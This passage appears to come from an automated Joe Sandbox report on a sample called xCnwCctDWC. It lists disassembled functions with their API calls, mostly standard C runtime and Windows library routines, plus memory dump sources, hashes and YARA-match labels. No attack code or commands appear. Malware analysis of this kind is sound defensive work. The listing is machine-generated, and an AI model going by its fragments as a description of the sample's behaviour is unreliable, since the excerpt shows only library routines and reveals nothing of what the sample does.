Instruction Fuzzy Hash: 9361F171900205AFDB20DF69C842B9EBBF4EB08710F14516BE884EB382E7399D41CB59

Function 006A3AEA Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,0069C4A4,E0830C40,?,?,?,?,?,?,006A425F,0067E03C,0069C4A4,?,0069C4A4,0069C4A4,0067E03C), ref: 006A3B2C
__fassign.LIBCMT ref: 006A3BA7
__fassign.LIBCMT ref: 006A3BC2
WideCharToMultiByte.KERNEL32(?,00000000,0069C4A4,00000001,?,00000005,00000000,00000000), ref: 006A3BE8
WriteFile.KERNEL32(?,?,00000000,006A425F,00000000,?,?,?,?,?,?,?,?,?,006A425F,0067E03C), ref: 006A3C07
WriteFile.KERNEL32(?,0067E03C,00000001,006A425F,00000000,?,?,?,?,?,?,?,?,?,006A425F,0067E03C), ref: 006A3C40

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 91521d98319a5a2b9b08759a4322e951b3fa054d078199bb11df0d5f795575d8
Instruction ID: d95f53848070d9a0daefb0fb585a220fb8c8780ae5beaf51d841a983224caf84
Opcode Fuzzy Hash: 91521d98319a5a2b9b08759a4322e951b3fa054d078199bb11df0d5f795575d8
Instruction Fuzzy Hash: 5551A275A00209AFCB10DFA8DC85AEEBBF5EF0A710F14416AF556E7391E6309A41CF64

Function 00433883 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,0042C23D,E0830C40,?,?,?,?,?,?,00433FF8,0040DDD5,0042C23D,?,0042C23D,0042C23D,0040DDD5), ref: 004338C5
__fassign.LIBCMT ref: 00433940
__fassign.LIBCMT ref: 0043395B
WideCharToMultiByte.KERNEL32(?,00000000,0042C23D,00000001,?,00000005,00000000,00000000), ref: 00433981
WriteFile.KERNEL32(?,?,00000000,00433FF8,00000000,?,?,?,?,?,?,?,?,?,00433FF8,0040DDD5), ref: 004339A0
WriteFile.KERNEL32(?,0040DDD5,00000001,00433FF8,00000000,?,?,?,?,?,?,?,?,?,00433FF8,0040DDD5), ref: 004339D9

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 701a8cb139ac8c875ca722d2ea664996543124ca91dde6e2e1173c132f03efc9
Instruction ID: 0964c92a74c3400c6cb4ab9b4b67413798647f05f85f7adc4f4dadb846cf7038
Opcode Fuzzy Hash: 701a8cb139ac8c875ca722d2ea664996543124ca91dde6e2e1173c132f03efc9
Instruction Fuzzy Hash: 3451C271E00209AFDB10DFA8D885BEEBBF4EF09301F14412BE556E7291E7749A41CB69

Function 00694AB4 Relevance: 10.6, APIs: 7, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00694ACD

Part of subcall function 00694D9C: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00694800), ref: 00694DAC

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00694AE2
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00694AF1
__CxxThrowException@8.LIBVCRUNTIME ref: 00694AFF
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 00694B75
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00694BB5
__CxxThrowException@8.LIBVCRUNTIME ref: 00694BC3

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID:
API String ID: 3151764488-0
Opcode ID: 219df9cbfeb1429f4312672cca97738a090813e365a6f1d89fd3b539392bd973
Instruction ID: 78871d06ecf2c7d1f973b552a78cf7ae7950659c3cbc3f40ef2f86f1afc7855f
Opcode Fuzzy Hash: 219df9cbfeb1429f4312672cca97738a090813e365a6f1d89fd3b539392bd973
Instruction Fuzzy Hash: D9319035A002159BCF04EF68C881EAE73BABF54320F204569E9159B745DF70EE068A94

Function 006AFBA8 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32159607c4063c2e90e18d1ced7cd03c6b33762cae1000625b4156809b17c3e4
Instruction ID: 0199da41146103caf1cf3b11cca6e89434990864e12c8d405972783962dbc3f7
Opcode Fuzzy Hash: 32159607c4063c2e90e18d1ced7cd03c6b33762cae1000625b4156809b17c3e4
Instruction Fuzzy Hash: 6311DA31505119BFDB607FB68C449AB7AAEEF837717100639FC16C7241DA318D019AB5

Function 0043F941 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26fd24188a083ade74c1b847c8e385b80c443176beafc5e0d5befa98fb89b42a
Instruction ID: 860e752c6eb2c716a5d855c3c03ea0c0e6c73714a276bf2c7701abe861d4aafe
Opcode Fuzzy Hash: 26fd24188a083ade74c1b847c8e385b80c443176beafc5e0d5befa98fb89b42a
Instruction Fuzzy Hash: 51113A72A00216BFD7206FB7AC04F6B7B6CEF8A735F10123BF815C7240DA3889048669

Function 006AA5EA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006AA331: _free.LIBCMT ref: 006AA35A

_free.LIBCMT ref: 006AA638

Part of subcall function 006A36D1: HeapFree.KERNEL32(00000000,00000000,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?), ref: 006A36E7
Part of subcall function 006A36D1: GetLastError.KERNEL32(?,?,006AA35F,?,00000000,?,00000000,?,006AA603,?,00000007,?,?,006AA9F7,?,?), ref: 006A36F9

_free.LIBCMT ref: 006AA643
_free.LIBCMT ref: 006AA64E
_free.LIBCMT ref: 006AA6A2
_free.LIBCMT ref: 006AA6AD
_free.LIBCMT ref: 006AA6B8
_free.LIBCMT ref: 006AA6C3

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: 863a3db04f875e751fb02e415267a20567d7ccab652934bb84b55bc51afa46e2
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: CC115E31644B04BEDDA0B7B1CC46FCBB79EDF02740F40082AB299EA252D764B9148E69

Function 0043A383 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043A0CA: _free.LIBCMT ref: 0043A0F3

_free.LIBCMT ref: 0043A3D1

Part of subcall function 0043346A: HeapFree.KERNEL32(00000000,00000000,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?), ref: 00433480
Part of subcall function 0043346A: GetLastError.KERNEL32(?,?,0043A0F8,?,00000000,?,00000000,?,0043A39C,?,00000007,?,?,0043A790,?,?), ref: 00433492

_free.LIBCMT ref: 0043A3DC
_free.LIBCMT ref: 0043A3E7
_free.LIBCMT ref: 0043A43B
_free.LIBCMT ref: 0043A446
_free.LIBCMT ref: 0043A451
_free.LIBCMT ref: 0043A45C

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: 8be3f6aa1696d7c36a68609bae5c6e68c8e713719265dd61fa4e844ff8b4370f
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: C611B472581B04A6E531BF72CC0BFCB77AD6F18305F40581EB6DA7B052CA2CB5144B46

Function 00682659 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,00680DA0,?,?,?,00000000), ref: 00682667
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00680DA0,?,?,?,00000000), ref: 0068266D
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,00680DA0,?,?,?,00000000), ref: 0068269A
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00680DA0,?,?,?,00000000), ref: 006826A4
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00680DA0,?,?,?,00000000), ref: 006826B6
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006826CC
__CxxThrowException@8.LIBVCRUNTIME ref: 006826DA

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: 6ffd0926a6e81f7b76a1000da81b11bcce1220a1458d59011de0bfb908ca6654
Instruction ID: 77dd44547651041aa39fd076681a28817f8e61122f971f550c9bada96fbf613a
Opcode Fuzzy Hash: 6ffd0926a6e81f7b76a1000da81b11bcce1220a1458d59011de0bfb908ca6654
Instruction Fuzzy Hash: A901F734600116ABDB20BF61EC19FEF377EAF42B52B600629F405D3161FB24D94487AC

Function 004123F2 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,00410B39,?,?,?,00000000), ref: 00412400
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00410B39,?,?,?,00000000), ref: 00412406
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,00410B39,?,?,?,00000000), ref: 00412433
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00410B39,?,?,?,00000000), ref: 0041243D
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,00410B39,?,?,?,00000000), ref: 0041244F
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00412465
__CxxThrowException@8.LIBVCRUNTIME ref: 00412473

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: a863a92f0c1e6d652057a51708b91d14413968702bc4a7dce5340fefc1acb9cb
Instruction ID: 91daacb073e6275429519e5223cc2729029c874a602b9c25603bfcabc23aa3f5
Opcode Fuzzy Hash: a863a92f0c1e6d652057a51708b91d14413968702bc4a7dce5340fefc1acb9cb
Instruction Fuzzy Hash: 4001F734600121ABC714AF66ED0ABEF3768AF42B56B60042BF905E2161DBACDA54866D

Function 006824A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,0068670B), ref: 006824B6
GetProcAddress.KERNEL32(00000000,00446CDC), ref: 006824C4
GetProcAddress.KERNEL32(00000000,00446CF4), ref: 006824D2
GetModuleHandleW.KERNEL32(kernel32.dll,00446D0C,?,?,?,0068670B), ref: 00682500
GetProcAddress.KERNEL32(00000000), ref: 00682507
GetLastError.KERNEL32(?,?,?,0068670B), ref: 00682522
GetLastError.KERNEL32(?,?,?,0068670B), ref: 0068252E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00682544
__CxxThrowException@8.LIBVCRUNTIME ref: 00682552

Strings

kernel32.dll, xrefs: 006824B0, 006824B5, 006824FA

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
Opcode ID: 44ecf9bd0dd5c91555fe9cdf304f14bfeeea195f7c9b597a93ca8c7b2ae1de14
Instruction ID: 6f6528e95e8b5ed480b804f37770fce5fcee4a1bb731c770097478bec3eedea7
Opcode Fuzzy Hash: 44ecf9bd0dd5c91555fe9cdf304f14bfeeea195f7c9b597a93ca8c7b2ae1de14
Instruction Fuzzy Hash: 26F086B59003113FA7113BB5AD5995B3FADDE4AB22310072AF511E2292EA758901866D

Function 0040C618 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0040C677

Strings

ios_base::badbit set, xrefs: 0040C63A, 0040C65A
ios_base::failbit set, xrefs: 0040C644
ios_base::eofbit set, xrefs: 0040C649
F(@, xrefs: 0040C651
F(@, xrefs: 0040C61B

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: Exception@8Throw
String ID: F(@$F(@$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-3619870194
Opcode ID: 4e72df4a54faba6b4a23b621e2ab49bac9e9259a8814ffb1d887fe638a498f77
Instruction ID: df443d8f91edbbbc86da8982951f5297a94925b32ed328c00139598aac834c40
Opcode Fuzzy Hash: 4e72df4a54faba6b4a23b621e2ab49bac9e9259a8814ffb1d887fe638a498f77
Instruction Fuzzy Hash: FAF0FC72900204AAC714D754CC42FAF33545B11305F14867BED42B61C3EA7EA945C79C

Function 00430EC2 Relevance: 9.3, APIs: 6, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EDA: GetLastError.KERNEL32(?,?,0042DFE5,00457910,00000010), ref: 00431EDE
Part of subcall function 00431EDA: _free.LIBCMT ref: 00431F11
Part of subcall function 00431EDA: SetLastError.KERNEL32(00000000), ref: 00431F52

_memcmp.LIBVCRUNTIME ref: 0043116C
_free.LIBCMT ref: 004311DD
_free.LIBCMT ref: 004311F6
_free.LIBCMT ref: 00431228
_free.LIBCMT ref: 00431231
_free.LIBCMT ref: 0043123D

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: _free$ErrorLast$_memcmp
String ID:
API String ID: 4275183328-0
Opcode ID: d8dc9f9b959f2552d3534fca6110d840858028caececac5b62d3d4aa587a1dd2
Instruction ID: 3f2797ad77f757c3ae12916b07ca9a57840cbe3c0d6446731fa2169183c3460f
Opcode Fuzzy Hash: d8dc9f9b959f2552d3534fca6110d840858028caececac5b62d3d4aa587a1dd2
Instruction Fuzzy Hash: 57B13975A016199FDB24DF18C884AAEB7B4FF48314F1086EEE909A7360D775AE90CF44

Function 006A239B Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,006A25EC,00000001,00000001,?), ref: 006A23F5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,006A25EC,00000001,00000001,?,?,?,?), ref: 006A247B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 006A2575
__freea.LIBCMT ref: 006A2582

Part of subcall function 006A390E: RtlAllocateHeap.NTDLL(00000000,0067DAD7,00000000), ref: 006A3940

__freea.LIBCMT ref: 006A258B
__freea.LIBCMT ref: 006A25B0

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: a510e50ab4e30f723abca725981774e3b8e951c367f08997725210aeddea5634
Instruction ID: 5064538a6282c597914b0e0a399d8ccfa7684deceb66d041c70abc74d638285c
Opcode Fuzzy Hash: a510e50ab4e30f723abca725981774e3b8e951c367f08997725210aeddea5634
Instruction Fuzzy Hash: 7C51E272A50217ABEB29AF68CC61EEF77ABEB46710F154628FC04D6250DB74DC40DA60

Function 0069E419 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0069E445
__cftoe.LIBCMT ref: 0069E477

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: f585e4267acc06fdc3d0dd0e71bd3e0fb416072b74251e024126f50d702bbe84
Instruction ID: 6e3fa827bc25c92fe65f8f62c74cb4a282f3b400c82a60fe66b681bffcca9cf3
Opcode Fuzzy Hash: f585e4267acc06fdc3d0dd0e71bd3e0fb416072b74251e024126f50d702bbe84
Instruction Fuzzy Hash: A8510D32900205ABDF60EB588C41AEE77EFAF49774F15422DF815D6782EB33DD018668

Function 0069302B Relevance: 9.1, APIs: 6, Instructions: 106COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetRealizedChore.LIBCONCRT ref: 00693051

Part of subcall function 00688AB2: RtlInterlockedPopEntrySList.NTDLL(?), ref: 00688ABD

SafeSQueue.LIBCONCRT ref: 0069306A
Concurrency::location::_Assign.LIBCMT ref: 0069312A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0069314B
__CxxThrowException@8.LIBVCRUNTIME ref: 00693159

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: AssignBase::ChoreConcurrency::details::Concurrency::location::_EntryException@8InterlockedListQueueRealizedSafeSchedulerThrowstd::invalid_argument::invalid_argument
String ID:
API String ID: 3496964030-0
Opcode ID: 0093e90f9f9b4a807c17d0b905e901c0316188718c0b65bdcccfb738fdf3468d
Instruction ID: bffd45c6ea0f331e9441ffc462d7e3b6c0439167a03b4925d22af28c379204bf
Opcode Fuzzy Hash: 0093e90f9f9b4a807c17d0b905e901c0316188718c0b65bdcccfb738fdf3468d
Instruction Fuzzy Hash: 6E31E4316006219FCF65EF64C845AAAB7BAFF44710F10465DE80A8B752DB70EE45CBD4

Function 00698F24 Relevance: 9.1, APIs: 6, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00698F77
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00698F90
FindVITargetTypeInstance.LIBVCRUNTIME ref: 00698F97
PMDtoOffset.LIBCMT ref: 00698FB6

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID:
API String ID: 1467055271-0
Opcode ID: 6fe96d91ed349e682c0e64a172f602ef2dce5d8881000acf6ba3df64c6c4f2c7
Instruction ID: 488a874797bf832784804d6b8a7167c5b8f0ae2a3afa3c526969d9af2d17ac8a
Opcode Fuzzy Hash: 6fe96d91ed349e682c0e64a172f602ef2dce5d8881000acf6ba3df64c6c4f2c7
Instruction Fuzzy Hash: 6A2168726042049FCF14DF68DD06EAE77AFEF46790B20821EF90193A80EF31E90186A4

Function 00675437 Relevance: 9.1, APIs: 6, Instructions: 82COMMON

Download Yara Rule

APIs

__Cnd_init.LIBCPMT ref: 0067544B
__Mtx_init.LIBCPMT ref: 00675471
std::_Cnd_initX.LIBCPMT ref: 00675494
__Thrd_start.LIBCPMT ref: 006754B9
std::_Cnd_waitX.LIBCPMT ref: 006754D9
std::_Cnd_initX.LIBCPMT ref: 00675506

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$Cnd_waitMtx_initThrd_start
String ID:
API String ID: 1687354797-0
Opcode ID: a291ca2b74a2a079234bae36187643b4709f220aeabf3b9fcc979ead6e8bbad4
Instruction ID: dac94e618c16f2189bd07acccbcc1fa71e25cf07da0b5bda963141a6c67afee1
Opcode Fuzzy Hash: a291ca2b74a2a079234bae36187643b4709f220aeabf3b9fcc979ead6e8bbad4
Instruction Fuzzy Hash: 98218071C042089ADF51EBB8D845BDDB7FAAF09325F24C45EF108B7281DB749A848779

Function 00699041 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00699038,006969C9,006B0907,00000008,006B0C6C,?,?,?,?,00693CB2,?,?,0045A064), ref: 0069904F
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0069905D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00699076
SetLastError.KERNEL32(00000000,?,00699038,006969C9,006B0907,00000008,006B0C6C,?,?,?,?,00693CB2,?,?,0045A064), ref: 006990C8

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e85c682642ed7c149dd5185dec7a9b8ad0a0b140fbe983a0f7f6208f4934dca6
Instruction ID: ab9e70249da9c1981377f9cc6aba4f9e55c57a1a5fab5ff0ece21a8f113c9c49
Opcode Fuzzy Hash: e85c682642ed7c149dd5185dec7a9b8ad0a0b140fbe983a0f7f6208f4934dca6
Instruction Fuzzy Hash: ED01D8322097116EBF6427F86C899A6279EDB05776B34033DF53041BE1EF128C5155A9

Function 00428DDA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00428DD1,00426762,004406A0,00000008,00440A05,?,?,?,?,00423A4B,?,?,FC5D4064), ref: 00428DE8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00428DF6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00428E0F
SetLastError.KERNEL32(00000000,?,00428DD1,00426762,004406A0,00000008,00440A05,?,?,?,?,00423A4B,?,?,FC5D4064), ref: 00428E61

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e85c682642ed7c149dd5185dec7a9b8ad0a0b140fbe983a0f7f6208f4934dca6
Instruction ID: 8d354f8c373550ad8ca54886775f1e1f72959a5719103f68ef850459183cda9d
Opcode Fuzzy Hash: e85c682642ed7c149dd5185dec7a9b8ad0a0b140fbe983a0f7f6208f4934dca6
Instruction Fuzzy Hash: 5801283630A7316EA7242BF57C8956F2744EB0677ABA0033FF414913E2EF194C21950D

Function 00674FB9 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00674FCA
int.LIBCPMT ref: 00674FE1

Part of subcall function 0067BFC3: std::_Lockit::_Lockit.LIBCPMT ref: 0067BFD4
Part of subcall function 0067BFC3: std::_Lockit::~_Lockit.LIBCPMT ref: 0067BFEE

std::locale::_Getfacet.LIBCPMT ref: 00674FEA
std::_Facet_Register.LIBCPMT ref: 0067501B
std::_Lockit::~_Lockit.LIBCPMT ref: 00675031
__CxxThrowException@8.LIBVCRUNTIME ref: 0067504F

Memory Dump Source

Source File: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_xCnwCctDWC.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 845bdeb7715bd98cda63df9c5850d512ab2bcf4152fe4b0e9e0a5932c046342a
Instruction ID: a1fb9ee69cfc262f5862a78f9809fdcee447b493e507bc35834fcf906ce7e6df
Opcode Fuzzy Hash: 845bdeb7715bd98cda63df9c5850d512ab2bcf4152fe4b0e9e0a5932c046342a
Instruction Fuzzy Hash: 0111C2319002189BCB65EBA4C806AED77B6AF04710F64855DF41A6B2D2DFB49E06CBD8

Function 00404D52 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00404D63
int.LIBCPMT ref: 00404D7A

Part of subcall function 0040BD5C: std::_Lockit::_Lockit.LIBCPMT ref: 0040BD6D
Part of subcall function 0040BD5C: std::_Lockit::~_Lockit.LIBCPMT ref: 0040BD87

std::locale::_Getfacet.LIBCPMT ref: 00404D83
std::_Facet_Register.LIBCPMT ref: 00404DB4
std::_Lockit::~_Lockit.LIBCPMT ref: 00404DCA
__CxxThrowException@8.LIBVCRUNTIME ref: 00404DE8

Memory Dump Source

Source File: 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xCnwCctDWC.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID:
API String ID: 2243866535-0
Opcode ID: 845bdeb7715bd98cda63df9c5850d512ab2bcf4152fe4b0e9e0a5932c046342a
Instruction ID: 50d9ff0d4b57cf36d5715a51c78873cd43da78958b4b2dc720108d245924cf68
Opcode Fuzzy Hash: 845bdeb7715bd98cda63df9c5850d512ab2bcf4152fe4b0e9e0a5932c046342a
Instruction Fuzzy Hash: EB11A0B2D101299BCB15EBA4C841AAE77B0AF44318F14457FE911BB2D2DB3C9A058BDD

Function 0067C3F0 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0067C401
int.LIBCPMT ref: 0067C418

Part of subcall function 0067BFC3: std::_Lockit::_Lockit.LIBCPMT ref: 0067BFD4
